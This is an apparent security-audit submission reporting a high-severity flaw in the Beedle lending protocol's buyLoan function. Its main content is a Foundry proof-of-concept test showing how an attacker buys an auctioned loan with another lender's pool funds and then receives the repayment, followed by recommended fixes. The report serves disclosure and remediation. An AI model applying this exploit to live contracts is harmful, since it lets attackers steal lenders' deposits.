Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`buyLoan` function in Lender.sol allows an attacker to buy a loan in an auction using another lender’s funds

lealcodes

Summary

In Lender.sol anyone is allowed to call the buyLoan function and it is up to the user to input the loanId and the poolId. However, later in the function when assigning the new owner of the loan, the protocol assigns it to msg.sender which results in an user being able to acquire the loan while using another pool’s funds. This user would then receive the loan payment when the borrower decides to repay.

The attacker could also be the one hosting the auction and using another pool's funds to buy the loan, effectively taking the other pool's funds while still owning the loan.

Vulnerability Details

Below is a proof of concept illustrating the vulnerability. This is coded within the test suite of the protocol with the attacker address being set to address public attacker = address(0x5);

function test_userBuysLoanFromAnAuctionWithPoolHeIsNotTheLenderFor() public {
// give attacker some funds to start with
loanToken.mint(address(attacker), 100000 * 10 ** 18);
collateralToken.mint(address(attacker), 100000 * 10 ** 18);
​
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
​
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
​
lender.startAuction(loanIds);
​
vm.startPrank(lender2);
Pool memory p_2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_lender2 = lender.setPool(p_2);
​
// lender3 (attacker) creates same pool as lender 2
​
vm.startPrank(attacker);
​
Pool memory p_3 = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
​
bytes32 poolId_attacker = lender.setPool(p_3);
​
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
​
// lender 3 (attacker) buys loan and becomes loan.lender, uses lender2's pool to buy the loan
(,,,,uint256 attacker_pool_beforeBuyingLoan,,,,) = lender.pools(poolId_attacker);
(,,,,uint256 lender2_pool_beforeBuyingLoan,,,,) = lender.pools(poolId_lender2);
​
lender.buyLoan(0, poolId_lender2);
​
(,,,,uint256 attacker_pool_afterBuyingLoan,,,,) = lender.pools(poolId_attacker);
(,,,,uint256 lender2_pool_afterBuyingLoan,,,,) = lender.pools(poolId_lender2);
​
assertEq(attacker_pool_beforeBuyingLoan, attacker_pool_afterBuyingLoan);
assertGt(lender2_pool_beforeBuyingLoan, lender2_pool_afterBuyingLoan);
​
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110 * 10 ** 18);
​
// assert that attacker is the lender of this loan (without his pool losing funds)
(address lender_ownsLoan,,,,,,,,,) = lender.loans(0);
assertEq(lender_ownsLoan, attacker);
​
// before repay, attacker needs to have an outstandingloan bigger than what is being repayed (so when repayed debt is paid it does not revert)
// he can simply borrow from his own pool and the only losses he occurs is gas and fee payments which should be lower than the gains
Borrow memory b_attacker = Borrow({poolId: poolId_attacker, debt: 200*10**18, collateral: 200*10**18});
Borrow[] memory borrows_attacker = new Borrow[](1);
borrows_attacker[0] = b_attacker;
lender.borrow(borrows_attacker);
​
// now user or borrower pays back the loan and we will see that attacker's pool grow but lender2 does not
(,,,,uint256 lender2_pool_beforeRepay,,,,) = lender.pools(poolId_lender2);
(,,,,uint256 attacker_pool_beforeRepay,,,,) = lender.pools(poolId_attacker);
​
vm.startPrank(borrower);
loanToken.mint(address(borrower), 50 * 10 ** 18);
lender.repay(loanIds);
​
(,,,,uint256 lender2_pool_afterRepay,,,,) = lender.pools(poolId_lender2);
(,,,,uint256 attacker_pool_afterRepay,,,,) = lender.pools(poolId_attacker);
​
assertEq(lender2_pool_afterRepay, lender2_pool_beforeRepay);
assertGt(attacker_pool_afterRepay, attacker_pool_beforeRepay);
}

Impact

This vulnerability puts all lender's funds at risk, as their pool's balance can be used by other users to buy loans for themselves.

Tools Used

Manual review & Foundry.

Recommendations

Two possible solutions:

The first is to restrict the function by requiring the msg.sender to be equal to pools[poolId].lender

The second solution is when updating the loan with the new info in buyLoan you should substitute loans[loanId].lender = msg.sender; with loans[loanId].lender = pools[poolId].lender

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.